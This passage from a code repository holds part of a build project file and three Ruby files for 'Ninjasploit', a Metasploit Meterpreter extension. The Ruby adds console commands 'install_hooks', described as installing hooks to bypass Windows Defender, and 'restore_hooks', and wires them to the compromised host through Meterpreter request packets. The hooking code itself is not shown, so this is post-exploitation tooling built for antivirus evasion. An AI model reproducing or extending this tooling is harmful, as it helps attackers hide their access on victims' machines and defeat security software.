247 | false 248 | true 249 | $(OutDir)\ext_server_ninjasploit.map 250 | NotSet 251 | 252 | 253 | 254 | 255 | false 256 | 257 | 258 | $(OutDir)\ext_server_ninjasploit.lib 259 | MachineX64 260 | false 261 | 262 | 263 | editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL 264 | IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY 265 | mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" 266 | :COPY 267 | copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | {c6fb3275-9067-4bba-9206-0a720d2bc64f} 286 | false 287 | 288 | 289 | {9e4de963-873f-4525-a7d0-ce34edbbdcca} 290 | false 291 | 292 | 293 | {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} 294 | false 295 | 296 | 297 | {72f0246a-a38d-4547-9057-46020e8e503d} 298 | false 299 | 300 | 301 | 302 | 303 | 304 | 305 | -------------------------------------------------------------------------------- /ruby-server-side/command_dispatcher/ninjasploit.rb: -------------------------------------------------------------------------------- 1 | # -*- coding: binary -*- 2 | require 'rex/post/meterpreter' 3 | 4 | module Rex 5 | module Post 6 | module Meterpreter 7 | module Ui 8 | 9 | class Console::CommandDispatcher::Ninjasploit 10 | 11 | Klass = Console::CommandDispatcher::Ninjasploit 12 | 13 | include Console::CommandDispatcher 14 | 15 | # 16 | # Initializes an instance of the priv command interaction. 17 | # 18 | def initialize(shell) 19 | super 20 | end 21 | 22 | # 23 | # List of supported commands. 24 | # 25 | def commands 26 | { 27 | 'install_hooks' => 'Install hooks to byppass defender', 28 | 'restore_hooks' => 'Restores any previously hooked functions' 29 | } 30 | end 31 | 32 | 33 | def cmd_install_hooks 34 | res = client.Ninjasploit.install_hooks 35 | puts res 36 | true 37 | end 38 | 39 | def cmd_restore_hooks 40 | res = client.Ninjasploit.restore_hooks 41 | puts res 42 | true 43 | end 44 | 45 | 46 | # 47 | # Name for this dispatcher 48 | # 49 | def name 50 | 'Ninjasploit' 51 | end 52 | 53 | 54 | end 55 | 56 | end 57 | end 58 | end 59 | end 60 | -------------------------------------------------------------------------------- /ruby-server-side/extensions/ninjasploit/ninjasploit.rb: -------------------------------------------------------------------------------- 1 | # -*- coding: binary -*- 2 | require_relative 'tlv' 3 | 4 | module Rex 5 | module Post 6 | module Meterpreter 7 | module Extensions 8 | module Ninjasploit 9 | class Ninjasploit < Extension 10 | def initialize(client) 11 | super(client, 'Ninjasploit') 12 | 13 | client.register_extension_aliases( 14 | [ 15 | { 16 | 'name' => 'Ninjasploit', 17 | 'ext' => self 18 | }, 19 | ]) 20 | end 21 | 22 | def install_hooks 23 | request = Packet.create_request('ninjasploit_install_hooks') 24 | 25 | response = client.send_request(request) 26 | 27 | response.get_tlv_value(TLV_TYPE_NINJASPLOIT_INSTALL_HOOKS) 28 | end 29 | 30 | def restore_hooks 31 | request = Packet.create_request('ninjasploit_restore_hooks') 32 | 33 | response = client.send_request(request) 34 | 35 | response.get_tlv_value(TLV_TYPE_NINJASPLOIT_RESTORE_HOOKS) 36 | end 37 | 38 | end 39 | 40 | end 41 | end 42 | end 43 | end 44 | end 45 | -------------------------------------------------------------------------------- /ruby-server-side/extensions/ninjasploit/tlv.rb: -------------------------------------------------------------------------------- 1 | # -*- coding: binary -*- 2 | module Rex 3 | module Post 4 | module Meterpreter 5 | module Extensions 6 | module Ninjasploit 7 | TLV_TYPE_NINJASPLOIT_INSTALL_HOOKS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) 8 | TLV_TYPE_NINJASPLOIT_RESTORE_HOOKS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) 9 | end 10 | end 11 | end 12 | end 13 | end 14 | 15 | --------------------------------------------------------------------------------